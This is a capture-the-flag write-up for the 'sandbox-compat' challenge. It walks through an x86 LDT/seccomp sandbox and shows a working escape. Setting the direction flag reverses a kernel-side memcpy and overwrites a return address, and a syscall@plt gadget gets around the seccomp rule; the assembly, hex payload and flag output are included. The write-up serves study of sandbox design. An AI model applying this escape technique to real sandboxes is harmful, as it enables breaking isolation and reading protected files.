x86 memory segmentation is easy, just put everything untrusted under 4G.
In the task we get 64-bit Linux executable of the server application with its full source code.
The challenge name and description suggest that the application implements a sandbox. Additional details presented once we connect confirm this:
$ nc sandbox-compat.ctfcompetition.com 1337
beef0000-bef00000 rw-p 00000000 00:00 0
dead0000-dead1000 r-xp 00000000 00:00 0
fffff000-100001000 r-xp 00000000 00:00 0
[*] gimme some x86 32-bit code!
Sandboxes are applications designed to execute untrusted code in restricted environment. Solving sandbox challenges typically requires bypassing some of these restrictions. So let's undestand how this particular sandbox works and what restrictions are implemented.
We start by inspecting main function from the provided source code that nicely represents overall structure of the application:
int main(void)
{
...
setup_userland();
setup_kernelland();
check_proc_maps(1);
install_seccomp();
go();
return 0;
}
Now, we can examine each of the steps.
The subroutine setup_userland starts by configuring the local descriptor table (LDT):
struct user_desc desc;
...
memset(&desc, 0, sizeof(desc));
desc.entry_number = 1;
desc.base_addr = 0;
desc.limit = (1L << 32) - 1;
desc.seg_32bit = 1;
desc.contents = 2; /* MODIFY_LDT_CONTENTS_CODE */
desc.read_exec_only = 0;
desc.limit_in_pages = 1;
desc.seg_not_present = 0;
desc.useable = 1;
and making it available for the current processes:
if (modify_ldt(1, &desc, sizeof(desc)) != 0)
err(1, "failed to setup 32-bit segment");
The local descriptor table is a data structure used by x86-family to define memory areas available for the program.
When modify_ldt is called, the Linux kernel validates the passed structure and creates new descriptor table for our process.
By loading the corresponding segment selector into CS segment register, the processor is be able to execute 32-bit code within our 64-bit process.
The value of segment selector encodes entry_number, which of the tables to use and requested privilege level:
struct selector {
unsinged int requested_privilege_level:2; /* 3 is used by used mode in Linux */
unsinged int table:1; /* 1 for LDT, 0 for GDT */
unsinged int entry_number:13;
};
Selector values relavant for our application are:
- 0x0F for the registered descriptor (requested_privilege_level=3, table=1, entry_number=1)
- 0x33 for standard descriptor GDT_ENTRY_DEFAULT_USER_CS
By loading these descriptors, the application can switch between 32-bit and 64-bit mode.
A hidden detail in the sandbox source code is implicit initialization of user_desc.lm field that actually controls if the code should execute as 64-bit or 32-bit.
Fortunately the field is initialized as zero with memset.
Next, the subroutine prepares page with the following trampoline code at the end of 32-bit address space, setting permissions PROT_READ | PROT_EXEC:
BITS 32
...
jmp trampoline
...
;; trampoline to 64-bit code
;; there is a NOP at 0xffffffff, followed by kernel entry
trampoline:
jmp dword 0x33:0xffffffff
The above code is used to switch to 64-bit code as explainted earlier.
Finally it allocates pages for userland code and stack:
/* setup page for user-supplied code */
flags = MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT | MAP_FIXED;
p = mmap(USER_CODE, PAGE_SIZE, PROT_READ | PROT_EXEC, flags, -1, 0);
if (p != USER_CODE)
err(1, "mmap");
/* setup rw pages for user stack */
flags = MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT | MAP_FIXED;
p = mmap(USER_STACK, STACK_SIZE, PROT_READ | PROT_WRITE, flags, -1, 0);
if (p != USER_STACK)
err(1, "mmap");
The subroutine setup_kernelland allocates single page to store kernelland entry code directly following user-mode trampoline.
It also allocates single page for kernel stack at non-fixed address:
flags = MAP_PRIVATE | MAP_ANONYMOUS;
stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, flags, -1, 0);
if (stack == MAP_FAILED)
err(1, "mmap");
In case when the Linux kernel allocates this page in low 4 GBytes, the untrusted sandbox code could potentially access and modify content of 64-bit stack. However this issue is not explotaible:
- I'm pretty sure that Linux kernel would not allocate such page in low memory at this point of process execution,
- Even if such allocation would happen, the application will detect it later in
check_proc_mapsas will be describe bellow.
The kernel code directly following user-mode trampoline looks like that:
BITS 64
...
mov rax, fs
test rax, rax
jnz bad
mov rax, gs
test rax, rax
jnz bad
;; save rsp into rbx
mov rbx, rsp
;; setup stack
mov rsp, 0xdeadbeefdeaddead /* replaced with top of the stack */
push rbx
;; call kernel function
mov rax, 0xdeadbeefdeadc0de /* replaced with address of `kernel` subroutine */
call rax
;; restore rsp back to rbx
pop rbx
mov rsp, rbx
;; trampoline to 32-bit code (segment selector 0xf)
;; 0xfffffff5: ret gadget
mov rcx, 0xffffffff5
push rcx
retf
bad:
ud2
Where called kernel subroutine is implemented in C.
A very important observation about the above code is that content of flags register is not sanitized on transistion from userland to kernelland.
This will lead to sucessful explitation that I will demonstrate.
The called kernel implements following calls from userland:
__NR_readenforcing all of read buffer within low 4 GBytes__NR_writeenforcing all of write buffer within low 4 GBytes__NR_openenforcing all of pathname within low 4 GBytes and noflagsubstring in pathname__NR_close__NR_mprotectimplemented as no-op__NR_exit_group
The subroutine check_proc_maps parses /proc/self/maps to ensure that low 4 GBytes contain only userland stack, userland code and trampoline.
This avoids any potential risks due to address space randomization on application memory and kernelland stack.
The subroutine install_seccomp configures limit for creation of new processes:
struct rlimit limit;
if (getrlimit(RLIMIT_NPROC, &limit) != 0)
err(1, "getrlimit");
limit.rlim_cur = 0;
if (setrlimit(RLIMIT_NPROC, &limit) != 0)
err(1, "setrlimit");
That will block creation of new processes by non-root users.
Next, it installs SECCOMP filter:
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0)
err(1, "prctl(NO_NEW_PRIVS)");
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) != 0)
err(1, "prctl(SECCOMP)");
To examine actual SECCOMP rules, I simply run the provided binary with seccomp analysis tool by david942j as follows:
$ seccomp-tools dump ./sandbox
beef0000-bef00000 rw-p 00000000 00:00 0
dead0000-dead1000 r-xp 00000000 00:00 0
fffff000-100001000 r-xp 00000000 00:00 0
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x0000000c A = instruction_pointer >> 32
0001: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
The important observation here is that instruction_pointer reliably prevents any syscalls from code executing in low 4 GBytes.
The subroutine go reads up to 4 KBytes of input into temporary buffer.
Next it calls copy_user_code subrountine and finally transfers control to userland:
asm volatile (
"movq %0, %%rax\n"
"shlq $32, %%rax\n"
"movq %1, %%rbx\n"
"orq %%rbx, %%rax\n"
"push %%rax\n"
"retf\n"
/* never reached */
"int $3\n"
:: "i"(0xf), /* ldt code segment selector. index: 1, table: 1, rpl: 3 */
"i"(USER_CODE)
: "rax", "rbx"
);
The called copy_user_code ensures that userland code cannot contain any of the following bytes:
static struct opcode { char *name; char opcode; } opcodes[] = {
{ "iret", 0xcf },
{ "far jmp", 0xea },
{ "far call", 0x9a },
{ "far ret", 0xca },
{ "far ret", 0xcb },
{ "far jmp/call", 0xff },
{ NULL, 0x00 },
};
This blocks all well-known instructions to reload CS segment register.
In case CS segment register could be somehow loaded by user code, e.g. due to potential validation bugs, by using less-known or undocumented instructions or via self-modifying code, we could bypass restrictions on __NR_open and __NR_mprotect that are implemented by kernelmode.
I wasn't able to indentify any method to perform such CS reload.
Next, the subroutine copies validated code to userland code page and sets permissions to ensure that code cannot be modified:
if (mprotect(USER_CODE, PAGE_SIZE, PROT_READ | PROT_EXEC) != 0)
err(1, "mprotect");
I identified only one issue during code review, where the flags register is not sanitized during transistion from userland to kernelland.
The potential exploitation scenario is setting direction flag (DF) in order to change semantics of some string instructions during kernelland execution.
Searching for rep prefix in provided binary gives interesting fragment from path_ok subroutine:
0000000000001340 <path_ok.part.0>:
...
1376: f3 48 a5 rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
The above corresponds to memcpy instruction during pathname validation code of __NR_open:
int path_ok(char *pathname, const char *p)
{
if (!access_ok(p, MAX_PATH))
return 0;
memcpy(pathname, p, MAX_PATH);
pathname[MAX_PATH - 1] = '\x00';
if (strstr(pathname, "flag") != NULL)
return 0;
return 1;
}
The passed pathname buffer is allocated on op_open stack frame.
With direction flag set, the rep movs code decrements rdi and rsi registers on each iteration.
After coping the first qword of userland-supplied data into start of pathname, it continues to preceding stack addresses.
This vulnerability allows for controlling over 200 bytes (almost MAX_PATH) on stack just before allocated pathname buffer.
Running sandbox under debugger with trivial PoC userland code confirm ability to overwrite op_open return address.
This can be exploted as follows to execute user-supplied code in 64-bit mode:
entry:
mov esp, 0xbef00000
sub esp, 0x200
std
push 0
push 0xdead0000 + hijack_64 - entry
mov edi, 2 /* __NR_open */
lea esi, [esp + 8] /* path */
xor eax, eax /* mov eax, 0xfffff000 */
dec eax
shl eax, 12
push eax
ret
hijack_64:
/* Any code to execute in 64-bit mode */
Once in 64-bit mode, we can bypass SECCOMP instruction_pointer rule by executing pre-existing gadgets located above 4 GBytes.
One of the available gadgets is syscall@plt from the sandbox binary:
0000000000000ce0 <syscall@plt>:
ce0: ff 25 9a 22 20 00 jmp QWORD PTR [rip+0x20229a] # 202f80 <syscall@GLIBC_2.2.5>
Using this gadget we can construct following code to read flag file:
hijack_64:
movabs rax, 0x10000001e /* address of kernel subroutine in kernelland entry page */
mov rbp, [rax]
sub rbp, 0x760 /* move back to syscall@plt */
/* open(pathname, O_RDONLY) */
mov rdi, __NR_open
lea rsi, [rip + pathname]
mov rdx, O_RDONLY
call syscall_gadget
/* read(rax, rsp, 0x100) */
mov rdi, __NR_read
mov rsi, rax
mov rdx, rsp
mov rcx, 0x100
call syscall_gadget
/* write(1, rsp, rax) */
mov rdi, __NR_write
mov rsi, 1
mov rdx, rsp
mov rcx, 0x100
/* fall-through */
syscall_gadget:
push rbp
ret
pathname:
.asciz "flag"
Running full exploit against CTF server gives the flag:
$ ./exploit.py
[+] Opening connection to sandbox-compat.ctfcompetition.com on port 1337: Done
[DEBUG] Received 0x29 bytes:
'beef0000-bef00000 rw-p 00000000 00:00 0 \n'
[DEBUG] Received 0x73 bytes:
'dead0000-dead1000 r-xp 00000000 00:00 0 \n'
'fffff000-100001000 r-xp 00000000 00:00 0 \n'
'[*] gimme some x86 32-bit code!\n'
...
[DEBUG] Sent 0x24 bytes:
00000000 bc 00 00 f0 be 81 ec 00 02 00 00 fd 6a 00 68 24 │····│····│····│j·h$│
00000010 00 ad de bf 02 00 00 00 8d 74 24 08 31 c0 48 c1 │····│····│·t$·│1·H·│
00000020 e0 0c 50 c3 │··P·││
00000024
[DEBUG] Sent 0x66 bytes:
00000000 48 b8 1e 00 00 00 01 00 00 00 48 8b 28 48 81 ed │H···│····│··H·│(H··│
00000010 60 07 00 00 48 c7 c7 02 00 00 00 48 8d 35 3f 00 │`···│H···│···H│·5?·│
00000020 00 00 48 c7 c2 00 00 00 00 e8 31 00 00 00 48 c7 │··H·│····│··1·│··H·│
00000030 c7 00 00 00 00 48 89 c6 48 89 e2 48 c7 c1 00 01 │····│·H··│H··H│····│
00000040 00 00 e8 18 00 00 00 48 c7 c7 01 00 00 00 48 c7 │····│···H│····│··H·│
00000050 c6 01 00 00 00 48 89 e2 48 c7 c1 00 01 00 00 55 │····│·H··│H···│···U│
00000060 c3 66 6c 61 67 00 │·fla│g·│
00000066
[DEBUG] Sent 0x8 bytes:
'deadbeef'
[DEBUG] Received 0x17 bytes:
'[*] received 146 bytes\n'
[DEBUG] Received 0x110 bytes:
00000000 5b 2a 5d 20 6c 65 74 27 73 20 67 6f 2e 2e 2e 0a │[*] │let'│s go│...·│
00000010 43 54 46 7b 48 65 6c 6c 30 5f 4e 34 43 6c 5f 49 │CTF{│Hell│0_N4│Cl_I│
00000020 73 73 75 65 5f 35 31 21 7d 0a 00 00 00 00 00 00 │ssue│_51!│}···│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000110
[*] flag = "CTF{Hell0_N4Cl_Issue_51!}"
[*] Closed connection to sandbox-compat.ctfcompetition.com port 1337
Overall very interesting challenge demonstrating one of the most obscure features of basic CPU functionality that we almost always take for granted: the flags register.